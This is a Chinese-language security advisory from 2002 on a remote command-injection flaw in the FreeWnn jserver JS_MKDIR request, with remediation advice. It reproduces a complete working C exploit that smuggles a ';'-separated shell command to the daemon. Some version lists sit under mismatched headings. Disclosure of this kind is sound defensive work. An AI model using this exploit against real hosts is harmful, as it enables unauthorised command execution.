安全研究
安全漏洞
FreeWnn jserver JS_MKDIR通过转义字符执行任意命令漏洞
发布日期:2002-01-11
更新日期:2002-01-15
受影响系统:
不受影响系统:
FreeWnn FreeWnn 1.1
- Debian Linux 2.2
- Debian Linux 2.1
- FreeBSD 5.0
- FreeBSD 4.0
- HP-UX 11.0
- HP-UX 10.20
- IRIX 6.5
- IRIX 6.4
- IRIX 6.3
- IRIX 6.2
- Mandrake Linux 7.1
- Mandrake Linux 7.0
- NetBSD 1.4.2 x86
- NetBSD 1.4.1 x86
- NetBSD 1.4.1
- Solaris 8.0
- Solaris 7.0
- Solaris 2.6
- SuSE Linux 6.4
- SuSE Linux 6.3
描述:
FreeWnn FreeWnn 1.1.1-a017
- Debian Linux 2.2
- Debian Linux 2.1
- FreeBSD 5.0
- FreeBSD 4.0
- HP-UX 11.0
- HP-UX 10.20
- IRIX 6.5
- IRIX 6.4
- IRIX 6.3
- IRIX 6.2
- Mandrake Linux 7.1
- Mandrake Linux 7.0
- NetBSD 1.4.2 x86
- NetBSD 1.4.1 x86
- NetBSD 1.4.1
- Solaris 8.0
- Solaris 7.0
- Solaris 2.6
- SuSE Linux 6.4
- SuSE Linux 6.3
BUGTRAQ ID: 3860
FreeWnn 1.1.0是一个日语翻译系统。它是一个服务器-客户端的应用程序,jserver部分作为服务器端,为客户端提供翻译服务。
FreeWnn jserver组件存在输入验证漏洞,可以使远程攻击者在主机上执行任意命令。
jserver把从客户端接收过来的输入未做合法性检查就通过JS_MKDIR命令传递给system()系统调用。攻击者通过在输入中插入shell转义字符“;”就可以在主机上以jserver进程的权限执行任意命令。
<*来源:Shadow Penguin Security
链接:http://www.shadowpenguin.org/sc_advisories/advisory044.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*=========================================================================
Wnn6 Exploit (tested on IRIX6.5 WorldView Janapese)
The Shadow Penguin Security (http://www.shadowpenguin.org)
Written by UNYUN (unyun@shadowpenguin.org)
=========================================================================
*/
#include <stdio.h>
#include <netdb.h>
#include <fcntl.h>
#include <ctype.h>
#include <unistd.h>
#include <strings.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>
#define TARGET_PORT 22273
int dump_recv(int sockfd)
{
static char buf[4096];
int i,r,sum=0;
r=recv(sockfd,buf,sizeof(buf),0);
for (i=0;i<r;i++){
printf("0x%02X ",buf[i]&0xff);
sum+=(int)buf[i];
}
printf("\n");
return(sum);
}
main(int argc,char *argv[])
{
int sockfd,i;
struct sockaddr_in target;
struct hostent *hs;
static char buf[512];
static char mkdircmd[4096];
char hostname[4096];
char username[4096];
if (argc<3){
printf("usage : %s TargetHost command {hostname} {username}\n",argv[0]);
exit(1);
}
strcpy(hostname,"localhost");
strcpy(username,"root");
if (argc>=5)
strcpy(username,argv[4]);
if (argc>=4)
strcpy(hostname,argv[3]);
sockfd=socket(PF_INET, SOCK_STREAM, 0);
target.sin_family=AF_INET;
target.sin_port=htons(TARGET_PORT);
if ((target.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if ((hs=gethostbyname(argv[1]))==NULL){
printf("Can not resolve specified host.\n");
exit(1);
}
target.sin_family = hs->h_addrtype;
memcpy((caddr_t)&target.sin_addr.s_addr,hs->h_addr,hs->h_length);
}
if (connect(sockfd, (struct sockaddr*)&target, sizeof(target))!=0){
printf("Can not connect to %s:%d\n",argv[1],TARGET_PORT);
exit(1);
}
/* JS_OPEN */
buf[3]=1;
buf[6]=0x4f;
strncpy(buf+8,hostname,strlen(hostname));
strncpy(buf+9+strlen(hostname),username,strlen(username));
send(sockfd,buf,10+strlen(hostname)+strlen(username),0);
dump_recv(sockfd);
/* JS_ENV_EXIST */
memset(buf,0,sizeof(buf));
buf[3]=0x07;
strncpy(buf+4,username,strlen(username));
send(sockfd,buf,5+strlen(username),0);
dump_recv(sockfd);
/* JS_CONNECT */
memset(buf,0,sizeof(buf));
buf[3]=0x05;
strncpy(buf+4,username,strlen(username));
send(sockfd,buf,5+strlen(username),0);
dump_recv(sockfd);
/* JS_MKDIR */
sprintf(mkdircmd,"a;%s",argv[2]);
memset(buf,0,sizeof(buf));
buf[3]=0x51;
strncpy(buf+8,mkdircmd,strlen(mkdircmd));
send(sockfd,buf,8+strlen(mkdircmd)+1,0);
dump_recv(sockfd);
close(sockfd);
}
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 在漏洞修补之前,暂时停止此程序的使用。
厂商补丁:
FreeWnn
-------
目前厂商已经在最新版本的软件中修补了这个漏洞,我们建议使用此软件的用户到厂商的主页获取最新版本:
http://www.freewnn.org/
浏览次数:12675
严重程度:0(网友投票)
绿盟科技给您安全的保障
